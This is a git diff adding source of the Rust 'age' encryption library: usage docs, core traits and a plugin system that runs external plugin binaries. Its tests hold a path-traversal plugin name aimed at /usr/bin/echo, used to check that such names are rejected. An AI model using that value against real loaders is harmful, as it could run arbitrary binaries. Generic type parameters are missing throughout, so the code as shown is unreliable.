run_main().unwrap(); +//! ``` +//! +//! ## Full APIs +//! +//! The full APIs support encrypting to multiple recipients, streaming the data, and have +//! async I/O options. +//! +//! ### Recipient-based encryption +//! +//! ``` +//! use std::io::{Read, Write}; +//! use std::iter; +//! +//! # fn run_main() -> Result<(), ()> { +//! let key = age::x25519::Identity::generate(); +//! let pubkey = key.to_public(); +//! +//! let plaintext = b"Hello world!"; +//! +//! // Encrypt the plaintext to a ciphertext... +//! # fn encrypt(pubkey: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = { +//! let encryptor = age::Encryptor::with_recipients(iter::once(&pubkey as _)) +//! .expect("we provided a recipient"); +//! +//! let mut encrypted = vec![]; +//! let mut writer = encryptor.wrap_output(&mut encrypted)?; +//! writer.write_all(plaintext)?; +//! writer.finish()?; +//! +//! encrypted +//! }; +//! # Ok(encrypted) +//! # } +//! +//! // ... and decrypt the obtained ciphertext to the plaintext again. +//! # fn decrypt(key: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = { +//! let decryptor = age::Decryptor::new(&encrypted[..])?; +//! +//! let mut decrypted = vec![]; +//! let mut reader = decryptor.decrypt(iter::once(&key as &dyn age::Identity))?; +//! reader.read_to_end(&mut decrypted); +//! +//! decrypted +//! }; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # key, +//! # encrypt(pubkey, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! +//! # run_main().unwrap(); +//! ``` +//! +//! ## Passphrase-based encryption +//! +//! ``` +//! use age::secrecy::SecretString; +//! use std::io::{Read, Write}; +//! use std::iter; +//! +//! # fn run_main() -> Result<(), ()> { +//! let plaintext = b"Hello world!"; +//! let passphrase = SecretString::from("this is not a good passphrase".to_owned()); +//! +//! // Encrypt the plaintext to a ciphertext using the passphrase... +//! # fn encrypt(passphrase: SecretString, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = { +//! let encryptor = age::Encryptor::with_user_passphrase(passphrase.clone()); +//! +//! let mut encrypted = vec![]; +//! let mut writer = encryptor.wrap_output(&mut encrypted)?; +//! writer.write_all(plaintext)?; +//! writer.finish()?; +//! +//! encrypted +//! }; +//! # Ok(encrypted) +//! # } +//! +//! // ... and decrypt the ciphertext to the plaintext again using the same passphrase. +//! # fn decrypt(passphrase: SecretString, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = { +//! let decryptor = age::Decryptor::new(&encrypted[..])?; +//! +//! let mut decrypted = vec![]; +//! let mut reader = decryptor.decrypt(iter::once(&age::scrypt::Identity::new(passphrase) as _))?; +//! reader.read_to_end(&mut decrypted); +//! +//! decrypted +//! }; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # passphrase.clone(), +//! # encrypt(passphrase, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # run_main().unwrap(); +//! ``` + +#![cfg_attr(docsrs, feature(doc_cfg))] +#![forbid(unsafe_code)] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] +#![deny(missing_docs)] + +use std::collections::HashSet; + +// Re-export crates that are used in our public API. +pub use age_core::secrecy; + +mod error; +mod format; +mod identity; +mod keys; +mod primitives; +mod protocol; +mod util; + +pub use error::{DecryptError, EncryptError, IdentityFileConvertError}; +pub use identity::IdentityFile; +pub use primitives::stream; +pub use protocol::{Decryptor, Encryptor}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub use primitives::armor; + +#[cfg(feature = "cli-common")] +#[cfg_attr(docsrs, doc(cfg(feature = "cli-common")))] +pub mod cli_common; + +mod error_fmt; + +// +// Simple interface +// + +mod simple; +pub use simple::{decrypt, encrypt}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub use simple::encrypt_and_armor; + +// +// Identity types +// + +pub mod encrypted; +pub mod scrypt; +pub mod x25519; + +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +pub mod plugin; + +#[cfg(feature = "ssh")] +#[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] +pub mod ssh; + +// +// Core traits +// + +use age_core::{ + format::{FileKey, Stanza}, + secrecy::SecretString, +}; + +/// A private key or other value that can unwrap an opaque file key from a recipient +/// stanza. +/// +/// # Implementation notes +/// +/// The canonical entry point for this trait is [`Identity::unwrap_stanzas`]. The default +/// implementation of that method is: +/// ```ignore +/// stanzas.iter().find_map(|stanza| self.unwrap_stanza(stanza)) +/// ``` +/// +/// The `age` crate otherwise does not call [`Identity::unwrap_stanza`] directly. As such, +/// if you want to add file-level stanza checks, override [`Identity::unwrap_stanzas`]. +pub trait Identity { + /// Attempts to unwrap the given stanza with this identity. + /// + /// This method is part of the `Identity` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// identities to [`Decryptor::decrypt`]. + /// + /// The `age` crate only calls this method via [`Identity::unwrap_stanzas`]. + /// + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if the recipient stanza does not match this key. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + fn unwrap_stanza(&self, stanza: &Stanza) -> Option>; + + /// Attempts to unwrap any of the given stanzas, which are assumed to come from the + /// same age file header, and therefore contain the same file key. + /// + /// This method is part of the `Identity` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// identities to [`Decryptor::decrypt`]. + /// + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if none of the recipient stanzas match this identity. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + fn unwrap_stanzas(&self, stanzas: &[Stanza]) -> Option> { + stanzas.iter().find_map(|stanza| self.unwrap_stanza(stanza)) + } +} + +/// A public key or other value that can wrap an opaque file key to a recipient stanza. +/// +/// Implementations of this trait might represent more than one recipient. +pub trait Recipient { + /// Wraps the given file key, returning stanzas to be placed in an age file header, + /// and labels that constrain how the stanzas may be combined with those from other + /// recipients. + /// + /// Implementations may return more than one stanza per "actual recipient", e.g. to + /// support multiple formats, to build group aliases, or to act as a proxy. + /// + /// This method is part of the `Recipient` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// recipients to [`Encryptor::with_recipients`]. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + /// + /// # Labels + /// + /// [`Encryptor`] will succeed at encrypting only if every recipient returns the same + /// set of labels. Subsets or partial overlapping sets are not allowed; all sets must + /// be identical. Labels are compared exactly, and are case-sensitive. + /// + /// Label sets can be used to ensure a recipient is only encrypted to alongside other + /// recipients with equivalent properties, or to ensure a recipient is always used + /// alone. A recipient with no particular properties to enforce should return an empty + /// label set. + /// + /// Labels can have any value that is a valid arbitrary string (`1*VCHAR` in ABNF), + /// but usually take one of several forms: + /// - *Common public label* - used by multiple recipients to permit their stanzas to + /// be used only together. Examples include: + /// - `postquantum` - indicates that the recipient stanzas being generated are + /// postquantum-secure, and that they can only be combined with other stanzas + /// that are also postquantum-secure. + /// - *Common private label* - used by recipients created by the same private entity + /// to permit their recipient stanzas to be used only together. For example, + /// private recipients used in a corporate environment could all send the same + /// private label in order to prevent compliant age clients from simultaneously + /// wrapping file keys with other recipients. + /// - *Random label* - used by recipients that want to ensure their stanzas are not + /// used with any other recipient stanzas. This can be used to produce a file key + /// that is only encrypted to a single recipient stanza, for example to preserve + /// its authentication properties. + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError>; +} + +/// Callbacks that might be triggered during encryption or decryption. +/// +/// Structs that implement this trait should be given directly to the individual +/// `Recipient` or `Identity` implementations that require them. +pub trait Callbacks: Clone + Send + Sync + 'static { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + /// + /// No guarantee is provided that the user sees this message (for example, if there is + /// no UI for displaying messages). + fn display_message(&self, message: &str); + + /// Requests that the user provides confirmation for some action. + /// + /// This can be used to, for example, request that a hardware key the plugin wants to + /// try either be plugged in, or skipped. + /// + /// - `message` is the request or call-to-action to be displayed to the user. + /// - `yes_string` and (optionally) `no_string` will be displayed on buttons or next + /// to selection options in the user's UI. + /// + /// Returns: + /// - `Some(true)` if the user selected the option marked with `yes_string`. + /// - `Some(false)` if the user selected the option marked with `no_string` (or the + /// default negative confirmation label). + /// - `None` if the confirmation request could not be given to the user (for example, + /// if there is no UI for displaying messages). + fn confirm(&self, message: &str, yes_string: &str, no_string: Option<&str>) -> Option; + + /// Requests non-private input from the user. + /// + /// To request private inputs, use [`Callbacks::request_passphrase`]. + /// + /// Returns: + /// - `Some(input)` with the user-provided input. + /// - `None` if no input could be requested from the user (for example, if there is no + /// UI for displaying messages or typing inputs). + fn request_public_string(&self, description: &str) -> Option; + + /// Requests a passphrase to decrypt a key. + /// + /// Returns: + /// - `Some(passphrase)` with the user-provided passphrase. + /// - `None` if no passphrase could be requested from the user (for example, if there + /// is no UI for displaying messages or typing inputs). + fn request_passphrase(&self, description: &str) -> Option; +} + +/// An implementation of [`Callbacks`] that does not allow callbacks. +/// +/// No user interaction will occur; [`Recipient`] or [`Identity`] implementations will +/// receive `None` from the callbacks that return responses, and will act accordingly. +#[derive(Clone, Copy, Debug)] +pub struct NoCallbacks; + +impl Callbacks for NoCallbacks { + fn display_message(&self, _: &str) {} + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + None + } + + fn request_public_string(&self, _: &str) -> Option { + None + } + + fn request_passphrase(&self, _: &str) -> Option { + None + } +} + +// +// Fuzzing APIs +// + +/// Helper for fuzzing the Header parser and serializer. +#[cfg(fuzzing)] +pub fn fuzz_header(data: &[u8]) { + if let Ok(header) = format::Header::read(data) { + let mut buf = Vec::with_capacity(data.len()); + header.write(&mut buf).expect("can write header"); + assert_eq!(&buf[..], &data[..buf.len()]); + } +} diff --git a/lib/rage/age/src/plugin.rs b/lib/rage/age/src/plugin.rs new file mode 100644 index 0000000..f38ec0c --- /dev/null +++ b/lib/rage/age/src/plugin.rs @@ -0,0 +1,800 @@ +//! Support for the age plugin system. + +use age_core::{ + format::{FileKey, Stanza}, + io::{DebugReader, DebugWriter}, + plugin::{Connection, Reply, Response, UnidirSend, IDENTITY_V1, RECIPIENT_V1}, + secrecy::ExposeSecret, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::Variant; + +use std::borrow::Borrow; +use std::collections::HashSet; +use std::fmt; +use std::io; +use std::iter; +use std::path::PathBuf; +use std::process::{ChildStdin, ChildStdout}; +use std::sync::mpsc; +use std::thread; +use std::time::{Duration, SystemTime}; + +use crate::{ + error::{DecryptError, EncryptError, PluginError}, + fl, + util::parse_bech32, + wfl, wlnfl, Callbacks, +}; + +// Plugin HRPs are age1[name] and AGE-PLUGIN-[NAME]- +const PLUGIN_RECIPIENT_PREFIX: &str = "age1"; +const PLUGIN_IDENTITY_PREFIX: &str = "age-plugin-"; + +const CMD_ERROR: &str = "error"; +const CMD_RECIPIENT_STANZA: &str = "recipient-stanza"; +const CMD_LABELS: &str = "labels"; +const CMD_MSG: &str = "msg"; +const CMD_CONFIRM: &str = "confirm"; +const CMD_REQUEST_PUBLIC: &str = "request-public"; +const CMD_REQUEST_SECRET: &str = "request-secret"; +const CMD_FILE_KEY: &str = "file-key"; + +const ONE_HUNDRED_MS: Duration = Duration::from_millis(100); +const TEN_SECONDS: Duration = Duration::from_secs(10); + +#[inline] +fn valid_plugin_name(plugin_name: &str) -> bool { + plugin_name + .bytes() + .all(|b| b.is_ascii_alphanumeric() | matches!(b, b'+' | b'-' | b'.' | b'_')) +} + +fn binary_name(plugin_name: &str) -> String { + format!("age-plugin-{}", plugin_name) +} + +struct SlowPluginGuard(mpsc::Sender<()>); + +impl SlowPluginGuard { + /// Starts a thread to print out a progress message after 10 seconds if the plugin + /// hasn't finished. + /// + /// Returns a guard that can be dropped once the plugin finishes to cancel the timer. + fn new(callbacks: C, plugin_binary_name: String) -> Self { + // We use a channel to detect when the guard is dropped. + let (send, recv) = mpsc::channel::<()>(); + + thread::spawn(move || { + let start = SystemTime::now(); + loop { + // If the send side of the channel has been dropped, we've been cancelled. + if matches!(recv.try_recv(), Err(mpsc::TryRecvError::Disconnected)) { + break; + } + + // If we've waited long enough, emit the progress message and exit. + match SystemTime::now().duration_since(start) { + Ok(end) if end >= TEN_SECONDS => { + callbacks.display_message(&fl!( + "plugin-waiting-on-binary", + binary_name = plugin_binary_name, + )); + break; + } + _ => thread::sleep(ONE_HUNDRED_MS), + } + } + }); + + SlowPluginGuard(send) + } +} + +/// A plugin-compatible recipient. +#[derive(Clone)] +pub struct Recipient { + /// The plugin name, extracted from `recipient`. + name: String, + /// The recipient. + recipient: String, +} + +impl std::str::FromStr for Recipient { + type Err = &'static str; + + /// Parses a plugin recipient from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, _)| { + if hrp.len() > PLUGIN_RECIPIENT_PREFIX.len() + && hrp.starts_with(PLUGIN_RECIPIENT_PREFIX) + { + let name = hrp.split_at(PLUGIN_RECIPIENT_PREFIX.len()).1.to_owned(); + if valid_plugin_name(&name) { + Ok(Recipient { + name, + recipient: s.to_owned(), + }) + } else { + Err("invalid plugin name") + } + } else { + Err("invalid HRP") + } + }) + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "{}", self.recipient) + } +} + +impl Recipient { + /// Returns the plugin name for this recipient. + pub fn plugin(&self) -> &str { + &self.name + } +} + +/// A plugin-compatible identity. +#[derive(Clone)] +pub struct Identity { + /// The plugin name, extracted from `identity`. + name: String, + /// The identity. + identity: String, +} + +impl std::str::FromStr for Identity { + type Err = &'static str; + + /// Parses a plugin identity from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, _)| { + if hrp.len() > PLUGIN_IDENTITY_PREFIX.len() + && hrp.starts_with(PLUGIN_IDENTITY_PREFIX) + { + // TODO: Decide whether to allow plugin names to end in - + let name = hrp + .split_at(PLUGIN_IDENTITY_PREFIX.len()) + .1 + .trim_end_matches('-') + .to_owned(); + if valid_plugin_name(&name) { + Ok(Identity { + name, + identity: s.to_owned(), + }) + } else { + Err("invalid plugin name") + } + } else { + Err("invalid HRP") + } + }) + } +} + +impl fmt::Display for Identity { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "{}", self.identity) + } +} + +impl Identity { + /// Returns the identity corresponding to the given plugin name in its default mode. + /// + /// # Panics + /// + /// Panics if `plugin_name` contains invalid characters. + pub fn default_for_plugin(plugin_name: &str) -> Self { + if valid_plugin_name(plugin_name) { + bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, plugin_name), + [], + Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase() + .parse() + .unwrap() + } else { + // TODO: Change the API to be fallible. + panic!("invalid plugin name") + } + } + + /// Returns the plugin name for this identity. + pub fn plugin(&self) -> &str { + &self.name + } +} + +/// An age plugin. +pub(crate) struct Plugin { + binary_name: String, + path: PathBuf, +} + +impl Plugin { + /// Finds the age plugin with the given name in `$PATH`. + /// + /// On error, returns the binary name that could not be located. + pub(crate) fn new(name: &str) -> Result { + let binary_name = binary_name(name); + match which::which(&binary_name).or_else(|e| { + // If we are running in WSL, try appending `.exe`; plugins installed in + // the Windows host are available to us, but `which` only trials PATHEXT + // extensions automatically when compiled for Windows. + if wsl::is_wsl() { + which::which(format!("{}.exe", binary_name)).map_err(|_| e) + } else { + Err(e) + } + }) { + Ok(path) => Ok(Plugin { binary_name, path }), + Err(_) => Err(binary_name), + } + } + + fn connect(&self, state_machine: &str) -> io::Result { + let conn = Connection::open(&self.path, state_machine)?; + Ok(BlastFurnace { + binary_name: self.binary_name.clone(), + conn, + }) + } +} + +/// Wraps a connection and gracefully handles plugin explosions. +struct BlastFurnace { + binary_name: String, + conn: Connection, DebugWriter>, +} + +impl BlastFurnace { + fn handle_errors(&self, res: io::Result<()>) -> io::Result<()> { + res.map_err(|e| match e.kind() { + io::ErrorKind::UnexpectedEof => io::Error::new( + io::ErrorKind::ConnectionAborted, + PluginDiedError { + binary_name: self.binary_name.clone(), + }, + ), + _ => e, + }) + } + + fn unidir_send< + P: FnOnce(UnidirSend, DebugWriter>) -> io::Result<()>, + >( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + let res = self.conn.unidir_send(phase_steps); + self.handle_errors(res) + } + + fn bidir_receive(&mut self, commands: &[&str], handler: H) -> io::Result<()> + where + H: FnMut(Stanza, Reply, DebugWriter>) -> Response, + { + let res = self.conn.bidir_receive(commands, handler); + self.handle_errors(res) + } +} + +#[derive(Debug)] +struct PluginDiedError { + binary_name: String, +} + +impl fmt::Display for PluginDiedError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + wlnfl!( + f, + "err-plugin-died", + plugin_name = self.binary_name.as_str(), + )?; + wlnfl!(f, "rec-plugin-died-1", env_var = "AGEDEBUG=plugin")?; + wfl!(f, "rec-plugin-died-2") + } +} + +impl std::error::Error for PluginDiedError {} + +fn handle_confirm( + command: Stanza, + reply: Reply, + errors: &mut Vec, + callbacks: &C, +) -> Response { + let message = String::from_utf8_lossy(&command.body); + let mut strings = command + .args + .iter() + .take(2) + .map(|s| BASE64_STANDARD_NO_PAD.decode(s)); + let (yes_string, no_string) = match (strings.next(), strings.next()) { + (None, _) => { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must have at least one metadata argument", + CMD_CONFIRM + ), + }); + return reply.fail(); + } + (Some(Err(_)), _) | (_, Some(Err(_))) => { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "The first two metadata arguments to the {} command must be Base64-encoded", + CMD_CONFIRM + ), + }); + return reply.fail(); + } + (Some(Ok(yes_string)), None) => (yes_string, None), + (Some(Ok(yes_string)), Some(Ok(no_string))) => (yes_string, Some(no_string)), + }; + if let Some(value) = callbacks.confirm( + &message, + &String::from_utf8_lossy(&yes_string), + no_string + .as_ref() + .map(|s| String::from_utf8_lossy(s)) + .as_ref() + .map(|s| s.borrow()), + ) { + reply.ok_with_metadata(&[if value { "yes" } else { "no" }], None) + } else { + reply.fail() + } +} + +/// An age plugin with an associated set of recipients. +/// +/// This struct implements [`Recipient`], enabling the plugin to encrypt a file to the +/// entire set of recipients. +pub struct RecipientPluginV1 { + plugin: Plugin, + recipients: Vec, + identities: Vec, + callbacks: C, +} + +impl RecipientPluginV1 { + /// Creates an age plugin from a plugin name and lists of recipients and identities. + /// + /// The lists of recipients and identities will be filtered by the plugin name; + /// recipients that don't match will be ignored. + /// + /// Returns an error if the plugin's binary cannot be found in `$PATH`. + pub fn new( + plugin_name: &str, + recipients: &[Recipient], + identities: &[Identity], + callbacks: C, + ) -> Result { + if valid_plugin_name(plugin_name) { + Plugin::new(plugin_name) + .map_err(|binary_name| EncryptError::MissingPlugin { binary_name }) + .map(|plugin| RecipientPluginV1 { + plugin, + recipients: recipients + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(), + identities: identities + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(), + callbacks, + }) + } else { + Err(EncryptError::MissingPlugin { + binary_name: plugin_name.to_string(), + }) + } + } +} + +impl crate::Recipient for RecipientPluginV1 { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + // Open connection + let mut conn = self.plugin.connect(RECIPIENT_V1)?; + + let _guard = SlowPluginGuard::new(self.callbacks.clone(), self.plugin.binary_name.clone()); + + // Phase 1: add recipients, identities, and file key to wrap + conn.unidir_send(|mut phase| { + for recipient in &self.recipients { + phase.send("add-recipient", &[&recipient.recipient], &[])?; + } + for identity in &self.identities { + phase.send("add-identity", &[&identity.identity], &[])?; + } + phase.send("extension-labels", &[], &[])?; + phase.send("wrap-file-key", &[], file_key.expose_secret()) + })?; + + // Phase 2: collect either stanzas or errors + let mut stanzas = vec![]; + let mut labels = None; + let mut errors = vec![]; + if let Err(e) = conn.bidir_receive( + &[ + CMD_MSG, + CMD_CONFIRM, + CMD_REQUEST_PUBLIC, + CMD_REQUEST_SECRET, + CMD_RECIPIENT_STANZA, + CMD_LABELS, + CMD_ERROR, + ], + |mut command, reply| match command.tag.as_str() { + CMD_MSG => { + self.callbacks + .display_message(&String::from_utf8_lossy(&command.body)); + reply.ok(None) + } + CMD_CONFIRM => handle_confirm(command, reply, &mut errors, &self.callbacks), + CMD_REQUEST_PUBLIC => { + if let Some(value) = self + .callbacks + .request_public_string(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(value.as_bytes())) + } else { + reply.fail() + } + } + CMD_REQUEST_SECRET => { + if let Some(secret) = self + .callbacks + .request_passphrase(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(secret.expose_secret().as_bytes())) + } else { + reply.fail() + } + } + CMD_RECIPIENT_STANZA => { + if command.args.len() >= 2 { + // We only requested one file key be wrapped. + if command.args.remove(0) == "0" { + command.tag = command.args.remove(0); + stanzas.push(command); + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "plugin wrapped file key to a file we didn't provide" + .to_owned(), + }); + } + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must have at least two metadata arguments", + CMD_RECIPIENT_STANZA + ), + }); + } + reply.ok(None) + } + CMD_LABELS => { + if labels.is_none() { + let labels_count = command.args.len(); + let label_set = command.args.into_iter().collect::>(); + if label_set.len() == labels_count { + labels = Some(label_set); + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must not contain duplicate labels", + CMD_LABELS + ), + }); + } + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must not be sent more than once", + CMD_LABELS + ), + }); + } + reply.ok(None) + } + CMD_ERROR => { + if command.args.len() == 2 && command.args[0] == "recipient" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Recipient { + binary_name: binary_name(&self.recipients[index].name), + recipient: self.recipients[index].recipient.clone(), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else if command.args.len() == 2 && command.args[0] == "identity" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Identity { + binary_name: binary_name(&self.identities[index].name), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else { + errors.push(PluginError::from(command)); + } + reply.ok(None) + } + _ => unreachable!(), + }, + ) { + return Err(e.into()); + }; + match (stanzas.is_empty(), errors.is_empty()) { + (false, true) => Ok((stanzas, labels.unwrap_or_default())), + (a, b) => { + if a & b { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "Plugin returned neither stanzas nor errors".to_owned(), + }); + } else if !a & !b { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "Plugin returned both stanzas and errors".to_owned(), + }); + } + Err(EncryptError::Plugin(errors)) + } + } + } +} + +/// An age plugin with an associated set of identities. +/// +/// This struct implements [`Identity`], enabling the plugin to decrypt a file with any +/// identity in the set of identities. +pub struct IdentityPluginV1 { + plugin: Plugin, + identities: Vec, + callbacks: C, +} + +impl IdentityPluginV1 { + /// Creates an age plugin from a plugin name and a list of identities. + /// + /// The list of identities will be filtered by the plugin name; identities that don't + /// match will be ignored. + /// + /// Returns an error if the plugin's binary cannot be found in `$PATH`. + pub fn new( + plugin_name: &str, + identities: &[Identity], + callbacks: C, + ) -> Result { + if valid_plugin_name(plugin_name) { + Plugin::new(plugin_name) + .map_err(|binary_name| DecryptError::MissingPlugin { binary_name }) + .map(|plugin| { + let identities = identities + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(); + Self::from_parts(plugin, identities, callbacks) + }) + } else { + Err(DecryptError::MissingPlugin { + binary_name: plugin_name.to_string(), + }) + } + } + + pub(crate) fn from_parts(plugin: Plugin, identities: Vec, callbacks: C) -> Self { + IdentityPluginV1 { + plugin, + identities, + callbacks, + } + } + + fn unwrap_stanzas<'a>( + &self, + stanzas: impl Iterator, + ) -> Option> { + // Open connection. If the plugin doesn't know how to unwrap identities, skip it + // by returning `None`. + let mut conn = self.plugin.connect(IDENTITY_V1).ok()?; + + let _guard = SlowPluginGuard::new(self.callbacks.clone(), self.plugin.binary_name.clone()); + + // Phase 1: add identities and stanzas + if let Err(e) = conn.unidir_send(|mut phase| { + for identity in &self.identities { + phase.send("add-identity", &[identity.identity.as_str()], &[])?; + } + for stanza in stanzas { + phase.send_stanza("recipient-stanza", &["0"], stanza)?; + } + Ok(()) + }) { + return Some(Err(e.into())); + }; + + // Phase 2: interactively unwrap + let mut file_key = None; + let mut errors = vec![]; + if let Err(e) = conn.bidir_receive( + &[ + CMD_MSG, + CMD_CONFIRM, + CMD_REQUEST_PUBLIC, + CMD_REQUEST_SECRET, + CMD_FILE_KEY, + CMD_ERROR, + ], + |command, reply| match command.tag.as_str() { + CMD_MSG => { + self.callbacks + .display_message(&String::from_utf8_lossy(&command.body)); + reply.ok(None) + } + CMD_CONFIRM => handle_confirm(command, reply, &mut errors, &self.callbacks), + CMD_REQUEST_PUBLIC => { + if let Some(value) = self + .callbacks + .request_public_string(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(value.as_bytes())) + } else { + reply.fail() + } + } + CMD_REQUEST_SECRET => { + if let Some(secret) = self + .callbacks + .request_passphrase(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(secret.expose_secret().as_bytes())) + } else { + reply.fail() + } + } + CMD_FILE_KEY => { + // We only support a single file. + assert!(command.args[0] == "0"); + assert!(file_key.is_none()); + file_key = Some(FileKey::try_init_with_mut(|file_key| { + if command.body.len() == file_key.len() { + file_key.copy_from_slice(&command.body); + Ok(()) + } else { + Err(DecryptError::DecryptionFailed) + } + })); + reply.ok(None) + } + CMD_ERROR => { + if command.args.len() == 2 && command.args[0] == "identity" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Identity { + binary_name: binary_name(&self.identities[index].name), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else { + errors.push(PluginError::from(command)); + } + reply.ok(None) + } + _ => unreachable!(), + }, + ) { + return Some(Err(e.into())); + }; + + if file_key.is_none() && !errors.is_empty() { + Some(Err(DecryptError::Plugin(errors))) + } else { + file_key + } + } +} + +impl crate::Identity for IdentityPluginV1 { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + self.unwrap_stanzas(iter::once(stanza)) + } + + fn unwrap_stanzas(&self, stanzas: &[Stanza]) -> Option> { + self.unwrap_stanzas(stanzas.iter()) + } +} + +#[cfg(test)] +mod tests { + use crate::{DecryptError, EncryptError, NoCallbacks}; + + use super::{ + Identity, IdentityPluginV1, Recipient, RecipientPluginV1, PLUGIN_IDENTITY_PREFIX, + PLUGIN_RECIPIENT_PREFIX, + }; + + const INVALID_PLUGIN_NAME: &str = "foobar/../../../../../../../usr/bin/echo"; + + #[test] + fn default_for_plugin() { + assert_eq!( + Identity::default_for_plugin("foobar").to_string(), + "AGE-PLUGIN-FOOBAR-1QVHULF", + ); + } + + #[test] + fn recipient_rejects_invalid_chars() { + let invalid_recipient = bech32::encode( + &format!("{}{}", PLUGIN_RECIPIENT_PREFIX, INVALID_PLUGIN_NAME), + [], + bech32::Variant::Bech32, + ) + .unwrap(); + assert!(invalid_recipient.parse::().is_err()); + } + + #[test] + fn identity_rejects_invalid_chars() { + let invalid_identity = bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, INVALID_PLUGIN_NAME), + [], + bech32::Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase(); + assert!(invalid_identity.parse::().is_err()); + } + + #[test] + #[should_panic] + fn identity_default_for_plugin_rejects_invalid_chars() { + Identity::default_for_plugin(INVALID_PLUGIN_NAME); + } + + #[test] + fn recipient_plugin_v1_rejects_invalid_chars() { + assert!(matches!( + RecipientPluginV1::new(INVALID_PLUGIN_NAME, &[], &[], NoCallbacks), + Err(EncryptError::MissingPlugin { binary_name }) if binary_name == INVALID_PLUGIN_NAME, + )); + } + + #[test] + fn identity_plugin_v1_rejects_invalid_chars() { + assert!(matches!( + IdentityPluginV1::new(INVALID_PLUGIN_NAME, &[], NoCallbacks), + Err(DecryptError::MissingPlugin { binary_name }) if binary_name == INVALID_PLUGIN_NAME, + )); + } +} diff --git a/lib/rage/age/src/primitives.rs b/lib/rage/age/src/primitives.rs new file mode 100644 index 0000000..bc95b8d --- /dev/null +++ b/lib/rage/age/src/primitives.rs @@ -0,0 +1,71 @@ +//! Primitive cryptographic operations used by `age`. + +use age_core::secrecy::{ExposeSecret, SecretBox}; +use hmac::{ + digest::{CtOutput, MacError}, + Hmac, Mac, +}; +use scrypt::{errors::InvalidParams, scrypt as scrypt_inner, Params as ScryptParams}; +use sha2::Sha256; +use std::io::{self, Write}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub mod armor; + +pub mod stream; + +pub(crate) struct HmacKey(pub(crate) SecretBox<[u8; 32]>); + +/// `HMAC[key](message)` +/// +/// HMAC from [RFC 2104] with SHA-256. +/// +/// [RFC 2104]: https://tools.ietf.org/html/rfc2104 